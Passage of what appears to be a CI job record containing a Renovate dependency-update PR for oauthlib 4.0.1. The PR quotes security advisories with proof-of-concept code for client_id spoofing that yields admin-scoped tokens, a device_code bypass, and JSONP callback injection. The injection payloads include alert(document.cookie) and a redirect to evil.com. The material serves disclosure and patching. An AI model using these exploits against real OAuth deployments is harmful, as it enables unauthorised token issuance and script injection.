          \nper call, which are statistically exploitable under controlled conditions.\n\n#####
          Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom
          URI Scheme Hijacking\n2. PKCE blocks token request \u2014 attacker lacks
          `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint
          measuring response times\n4. Using timing oracle, attacker recovers `code_verifier`
          character by character\n5. Attacker obtains Access Token \u2192 Account
          Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use
          nature of \n> authorization codes and real-world network noise. However,
          the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n#####
          Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time
          comparison:\n\ncr: Elvin Latifli\n\n#### Severity\n- CVSS Score: 6.8 / 10
          (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv)\n-
          [https://github.com/oauthlib/oauthlib/pull/963](https://redirect.github.com/oauthlib/oauthlib/pull/963)\n-
          [https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950](https://redirect.github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml)\n-
          [https://github.com/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Token grants can use attacker-supplied client_id for authorization
          after authenticating a different client\n[CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)
          / [GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nOAuthlib's token
          grant handlers can authenticate one client while authorizing the grant type
          and requested scopes using a different, attacker-supplied `client_id` from
          the request body.\n\nIn affected token grant flows, `authenticate_client(request)`
          sets `request.client` to the authenticated client object, but OAuthlib does
          not require `request.client_id` to match `request.client.client_id`. If
          the request body already contains `client_id=...`, OAuthlib keeps that value
          and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs
          a result, an authenticated low-privilege confidential client can authenticate
          as itself, submit another client's `client_id` in the token request body,
          and cause grant and scope validation to run under that other client identity.\n\n#####
          Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint
          handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password
          Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n-
          the attacker has credentials for one valid lower-privilege confidential
          client;\n- another client has broader grants or scopes;\n- the application
          validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()`
          or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments
          whose validators ignore the `client_id` argument and authorize only from
          `request.client` may not be affected.\n\n##### Details\n\n`Request` parses
          query and body parameters into request attributes, including `client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe
          `RequestValidator.authenticate_client()` contract requires the integrator
          to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor
          the `client_credentials` grant, OAuthlib authenticates the client, verifies
          that `request.client` has a `client_id`, then performs grant and scope validation
          before normalizing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe
          problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n
          \   ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id
          = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause
          OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied
          body value such as `client_id=high` survives even when `request.client.client_id
          == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`,
          while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id,
          request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n-
          `validate_scopes(request.client_id, request.scopes, request.client, request)`:
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe
          same identity split exists in the Resource Owner Password Credentials flow.
          After client authentication and user validation, OAuthlib validates the
          grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis
          creates an inconsistent identity state:\n\n```text\nrequest.client.client_id
          == \"low\"   # authenticated client\nrequest.client_id == \"high\"         #
          attacker-supplied request parameter\n```\n\nOAuthlib then calls application
          authorization hooks with both values, but uses the attacker-controlled `request.client_id`
          as the first-class `client_id` argument.\n\n##### Impact\n\nAn authenticated
          lower-privilege confidential client can obtain tokens authorized under another
          client's grant and scope policy if the application's validator follows the
          `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete
          impact can include:\n\n- issuing access tokens with scopes not assigned
          to the authenticated client;\n- allowing a low-privilege client to use a
          grant type reserved for a higher-privilege client;\n- persisting tokens
          under a spoofed `client_id` while the authenticated client object is different.\n\nThis
          is a token authorization bypass, not an unauthenticated attack. The attacker
          needs valid credentials for one client.\n\n##### PoC\n\nCreate the following
          files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport
          base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n
          \   ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n
          \   TokenEndpoint,\n)\n\nclass Client:\n    def __init__(self, client_id):\n
          \       self.client_id = client_id\n\nCLIENTS = {\n    \"low\": {\n        \"secret\":
          \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\":
          \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\nclass DemoValidator(RequestValidator):\n
          \   def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self,
          request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\",
          \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n
          \           return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n
          \       client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n
          \       if record is None or record[\"secret\"] != secret:\n            return
          False\n\n        # This is the authenticated client identity.\n        request.client
          = Client(client_id)\n        return True\n\n    def client_authentication_required(self,
          request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self,
          client_id, grant_type, client, request, *args, **kwargs):\n        record
          = CLIENTS.get(client_id)\n        return record is not None and grant_type
          in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes,
          client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n
          \       return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n
          \   def get_default_scopes(self, client_id, request, *args, **kwargs):\n
          \       return []\n\n    def validate_user(self, username, password, client,
          request, *args, **kwargs):\n        if username == \"alice\" and password
          == \"wonderland\":\n            request.user = username\n            return
          True\n        return False\n\n    def save_bearer_token(self, token, request,
          *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\":
          dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n
          \           \"request_client_id\": request.client_id,\n            \"scopes\":
          list(request.scopes or []),\n        })\n\nvalidator = DemoValidator()\ntoken
          = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n
          \   default_token_type=token,\n    grant_types={\n        \"client_credentials\":
          ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n
          \   },\n)\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n
          \   return {\"Authorization\": f\"Basic {value}\"}\n\ndef token_request(body):\n
          \   _headers, response_body, status = endpoint.create_token_response(\n
          \       \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n
          \   )\n    return status, json.loads(response_body)\n\ndef assert_rejected(label,
          body):\n    status, response = token_request(body)\n    print(label, status,
          response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected
          rejection, got success\")\n\ndef assert_spoofed_success(label, body):\n
          \   status, response = token_request(body)\n    print(label, status, response)\n
          \   if status != 200:\n        raise SystemExit(f\"{label}: expected token,
          got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n
          \       raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n
          \   saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"]
          != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed
          unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n
          \       raise SystemExit(f\"{label}: spoofed request client_id was not preserved:
          {saved}\")\n\nassert_rejected(\n    \"control client_credentials as low
          requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n
          \   \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens,
          indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n.
          .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected
          result:\n\n```text\ncontrol client_credentials as low requesting admin 400
          {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high
          200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer',
          'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error':
          'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token':
          '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token':
          '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition
          is that both successful token responses are produced while the saved token
          state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\":
          \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the
          authenticated client is `low`, while grant and scope authorization used
          the attacker-supplied `client_id=high`.\n\n##### Suggested Remediation\n\nAfter
          client authentication succeeds, OAuthlib should reject a token request if
          an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor
          authenticated confidential-client flows, a safer invariant is:\n\n```python\nif
          request.client is not None:\n    if request.client_id is not None and request.client_id
          != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id
          = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()`
          and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au
          (Liyi), https://lzhou1110.github.io/\n- ziyue0530@&#8203;gmail.com (Ziyue),
          https://zyy0530.github.io/\n- cshe0476@&#8203;uni.sydney.edu.au (Strick),
          https://str1ckl4nd.github.io/\n- chng0012@&#8203;uni.sydney.edu.au (Maurice),
          http://maurice.busystar.org/\n- cyu210608@&#8203;gmail.com (Chenchen), https://7thparkk.github.io/\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)\n-
          [https://github.com/oauthlib/oauthlib/pull/920](https://redirect.github.com/oauthlib/oauthlib/pull/920)\n-
          [https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d](https://redirect.github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.0)\n-
          [https://github.com/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Bearer token can be retrieved as long as client knows a valid
          client ID for device workflow\n[CVE-2026-49272](https://nvd.nist.gov/vuln/detail/CVE-2026-49272)
          / [GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nA call to the token
          endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"`
          and a bogus `device_code` is able to get a bearer token as long as they
          know a valid client ID enabled for the device workflow.\n\n##### Details\n\n[Section
          3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4)
          says that the token endpoint should take in `device_code` as a required
          parameter.`DeviceCodeGrant.validate_token_request` does not perform any
          validation of `device_code`. `DeviceCodeGrant.validate_token_request` should
          be validating that `device_code` was passed in as a parameter and that it
          is valid, similar to how `AuthorizationCodeGrant.validate_token_request`
          does the checks [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446)
          and [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI
          would like to propose a new method be added to `RequestValidator` called
          `validate_device_code` that is similar to the `validate_code` method and
          is called inside of `DeviceCodeGrant.validate_token_request`.\n\n##### PoC\nCreate
          an implementation of `RequestValidation.authenticate_client` that returns
          `True` if the client's `client_type` is `\"public\"`. You would find yourself
          in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request`
          where it doesn't properly handle public clients (see [https://github.com/oauthlib/oauthlib/issues/919](https://redirect.github.com/oauthlib/oauthlib/issues/919)).\n\nCreate
          a client that has a `client_type` of `\"public\"` and set it's `grant_type`
          to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation
          of `RequestValidation.authenticate_client` done, use that validator for
          your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\":
          <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n
          \ \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou
          now have a bearer token for the client without a valid `device_code`.\n\n#####
          Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't
          realize the `device_code` parameter is not being validated.\n\n#### Severity\n-
          CVSS Score: 8.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc)\n-
          [https://github.com/oauthlib/oauthlib/pull/954](https://redirect.github.com/oauthlib/oauthlib/pull/954)\n-
          [https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114](https://redirect.github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1)\n-
          [https://github.com/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>oauthlib/oauthlib (oauthlib)</summary>\n\n###
          [`v4.0.1`](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1):
          4.0.1\n\n[Compare Source](https://redirect.github.com/oauthlib/oauthlib/compare/v4.0.0...v4.0.1)\n\n####
          Security\n\n- **CVE-2026-49272** / GHSA-3jp2-3mrg-2vxc: The device code
          flow token endpoint did not validate the `device_code` parameter. A request
          with a known `client_id` and a bogus `device_code` could obtain a bearer
          token. `DeviceCodeGrant.validate_token_request` now calls `DeviceCodeGrant.validate_device_code()`,
          which rejects missing or unknown device codes (`invalid_request` / `invalid_grant`)
          and delegates the code's authorization status to the new `RequestValidator.validate_device_code()`
          hook, per RFC 8628 Section 3.5. (cherry-picked from [#&#8203;954](https://redirect.github.com/oauthlib/oauthlib/issues/954))\n\n####
          Upgrade note for device flow integrators\n\nCustom `RequestValidator` implementations
          using the device flow must now implement `validate_device_code(client_id,
          code, request)`. Return one of the `DeviceCodeGrant.DEVICE_CODE_*` statuses
          for known codes, or `None` for an unknown code. When returning `AUTHORIZED`,
          the validator must also populate `request.user` and `request.scopes` from
          the stored authorization.\n\n### [`v4.0.0`](https://redirect.github.com/oauthlib/oauthlib/blob/HEAD/CHANGELOG.rst#400-2026-09-28-)\n\n[Compare
          Source](https://redirect.github.com/oauthlib/oauthlib/compare/v3.3.1...v4.0.0)\n\nOAuth2.0
          Provider:\n\n- **Breaking**: [#&#8203;951](https://redirect.github.com/oauthlib/oauthlib/issues/951):
          Removed JSONP support from token revocation endpoint.\n  JSONP has been
          superseded by CORS for cross-origin requests.\n  The `enable_jsonp` parameter
          has been removed from `RevocationEndpoint`\n  and the `callback` parameter
          has been removed from\n  `prepare_token_revocation_request`.\n- **Breaking**:
          [#&#8203;919](https://redirect.github.com/oauthlib/oauthlib/issues/919),
          [#&#8203;920](https://redirect.github.com/oauthlib/oauthlib/issues/920):
          Fixed `DeviceCodeGrant.validate_token_request`\n  trying to authenticate
          public clients.\n  Client authentication validation has been reorganized
          and is now shared\n  across `AuthorizationCodeGrant`, `DeviceCodeGrant`,
          `RefreshTokenGrant`\n  and `ResourceOwnerPasswordCredentialsGrant`: the
          `grant_type` parameter\n  is validated before client authentication, so
          requests missing\n  `grant_type` now return `400 invalid_request` instead
          of\n  `401 invalid_client`.\n- [#&#8203;963](https://redirect.github.com/oauthlib/oauthlib/issues/963):
          Improved PKCE code comparison\n\nMisc:\n\n- [#&#8203;904](https://redirect.github.com/oauthlib/oauthlib/issues/904):
          Stop installing `examples` into `site-packages`.\n- [#&#8203;930](https://redirect.github.com/oauthlib/oauthlib/issues/930):
          Add devcontainer, Add Python3.14, Python3.14t.\n- [#&#8203;931](https://redirect.github.com/oauthlib/oauthlib/issues/931):
          Fix ruff checks about unused variables.\n- [#&#8203;932](https://redirect.github.com/oauthlib/oauthlib/issues/932):
          Dropped EOL Python 3.8 from CI.\n- [#&#8203;934](https://redirect.github.com/oauthlib/oauthlib/issues/934):
          Pre-commit hooks autoupdate.\n- [#&#8203;938](https://redirect.github.com/oauthlib/oauthlib/issues/938):
          Fix typos discovered by typos.\n- Add OAuthLib Maintainer agent for automated
          issue/PR triage and release\n  management.\n\n</details>\n\n---\n\n### Configuration\n\n\U0001F4C5
          **Schedule**: (UTC)\n\n- Branch creation\n  - At any time (no schedule defined)\n-
          Automerge\n  - At any time (no schedule defined)\n\n\U0001F6A6 **Automerge**:
          Disabled by config. Please merge this manually once you are satisfied.\n\n\u267B
          **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry
          checkbox.\n\n\U0001F515 **Ignore**: Close this PR and you won't be reminded
          about this update again.\n\n---\n\n - [ ] <!-- rebase-check -->If you want
          to rebase/retry this PR, check this box\n\n---\n\nThis PR was generated
          by [Mend Renovate](https://mend.io/renovate/). View the [repository job
          log](https://developer.mend.io/github/vexxhost/magnum-cluster-api).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4yMjIuNSIsInVwZGF0ZWRJblZlciI6IjQ0LjIyMi41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->\n"
        change_url: https://github.com/vexxhost/magnum-cluster-api/pull/1174
        commit_id: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        patchset: b303d1a72e47bddc8ae9c889b85a7b158294eac1
        project:
          canonical_hostname: github.com
          canonical_name: github.com/vexxhost/magnum-cluster-api
          name: vexxhost/magnum-cluster-api
          short_name: magnum-cluster-api
          src_dir: src/github.com/vexxhost/magnum-cluster-api
        src_dir: src/github.com/vexxhost/magnum-cluster-api
        topic: null
      change: '1174'
      change_message: "chore(deps): update dependency oauthlib to v4 [security]\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [oauthlib](https://redirect.github.com/oauthlib/oauthlib) ([changelog](https://redirect.github.com/oauthlib/oauthlib/blob/master/CHANGELOG.rst))
        | `3.3.1` \u2192 `4.0.1` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/oauthlib/4.0.1?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/oauthlib/3.3.1/4.0.1?slim=true)
        |\n\n---\n\n### Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint
        allows arbitrary JavaScript response generation\n[CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)
        / [GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nWhen `enable_jsonp=True`,
        oauthlib's `RevocationEndpoint` reflects the user-supplied `callback` parameter
        directly into JavaScript response bodies on both success and error paths without
        validating that it is a legal JSONP callback name. This allows arbitrary JavaScript
        response generation instead of a restricted function call, making the documented
        JSONP revocation feature unsafe for browser-based JSONP consumption when attackers
        can influence `callback`.\n\n##### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen
        `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two
        code paths wrap the response body using the user-supplied `request.callback`
        parameter:\n\n```python\n\n##### Error response path (line 72-73):\nif self.enable_jsonp
        and request.callback:\n    response_body = '{}({});'.format(request.callback,
        response_body)\n\n##### Success response path (line 81-82):\nif self.enable_jsonp
        and request.callback:\n    response_body = request.callback + '();'\n```\n\nThe
        `request.callback` value comes from HTTP request parameters, either the query
        string or POST body, via the `Request` class in `oauthlib/common.py` (lines
        394-395), which merges query and body parameters into `_params`. Any value
        the client sends as `callback` is used verbatim.\n\nThere is no validation
        of any kind on the callback parameter:\n- No check that it is a valid JavaScript
        identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA
        safe JSONP implementation must validate that the callback is a legal JavaScript
        function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this,
        the attacker controls the JavaScript code returned in the response body. This
        is the standard mitigation used by jQuery, Express.js, Google APIs, and other
        major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker
        sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke
        HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe
        server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis
        is syntactically valid JavaScript. `alert(document.cookie)` executes as a
        statement, and `//` comments out the rest of the line. The attacker has full
        control over the code that appears before the `//`.\n\n**Execution context
        and attack surface:**\n\nJSONP works by having a browser load a remote script
        via `<script src=\"...\">`. The loaded script executes in the origin of the
        **including page**, not the remote server. This means a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">`
        tag on `evil.com` would execute the payload in `evil.com`'s context, not the
        auth server's context.\n\nThe impact comes from client-side integrations that
        consume this endpoint as trusted JSONP. If a legitimate OAuth client includes
        `<script src>` pointed at the revocation endpoint and an attacker can influence
        the callback value (e.g., via query parameter injection, a reflected value,
        or a man-in-the-middle downgrade), the attacker controls what code runs in
        the client application's origin. The authorization server becomes a source
        of attacker-controlled JavaScript that client applications trust and execute.\n\nNote:
        the `enable_jsonp` parameter defaults to `False`, so only deployments that
        explicitly opt in are affected. However, this is a supported, documented library
        feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()`
        with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`,
        line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`,
        lines 351-358). The existing test suite tests JSONP callback reflection with
        a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not
        test for injection. Deployments that enable JSONP typically do so to support
        older browsers or cross-origin revocation from JavaScript clients, these are
        exactly the environments most sensitive to script injection.\n\n##### PoC\n\n**Requirements:**
        Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom
        oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom
        oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\nclass
        FailValidator(RequestValidator):\n    \"\"\"Auth fails -> triggers error response
        path (lines 72-73).\"\"\"\n    def client_authentication_required(self, request,
        *a, **kw): return True\n    def authenticate_client(self, request, *a, **kw):
        return False\n    def authenticate_client_id(self, client_id, request, *a,
        **kw): return False\n\nclass PassValidator(RequestValidator):\n    \"\"\"Auth
        passes -> triggers success response path (lines 81-82).\"\"\"\n    def client_authentication_required(self,
        request, *a, **kw): return False\n    def authenticate_client_id(self, client_id,
        request, *a, **kw): return True\n    def revoke_token(self, token, token_type_hint,
        request, *a, **kw): pass\n\npayloads = [\n    \"alert(document.cookie)//\",\n
        \   \"window.location='https://evil.com/'//\",\n    \"eval('malicious')//\",\n]\n\n#####
        --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail
        = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n
        \   h, body, status = ep_fail.create_revocation_response(\n        \"https://auth.example.com/revoke\",
        http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert
        p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type:
        {h.get('Content-Type','(none)')}  Body: {body}\")\n\n##### --- Success path
        (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass
        = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n
        \   h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\",
        http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert
        p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type:
        {h.get('Content-Type','(none)')}  Body: {body}\")\n\n##### --- Control (default:
        enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe
        = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status
        = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\",
        http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\"
        not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll
        assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True,
        auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\":
        \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\":
        \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\":
        \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n
        \ [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type:
        (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type:
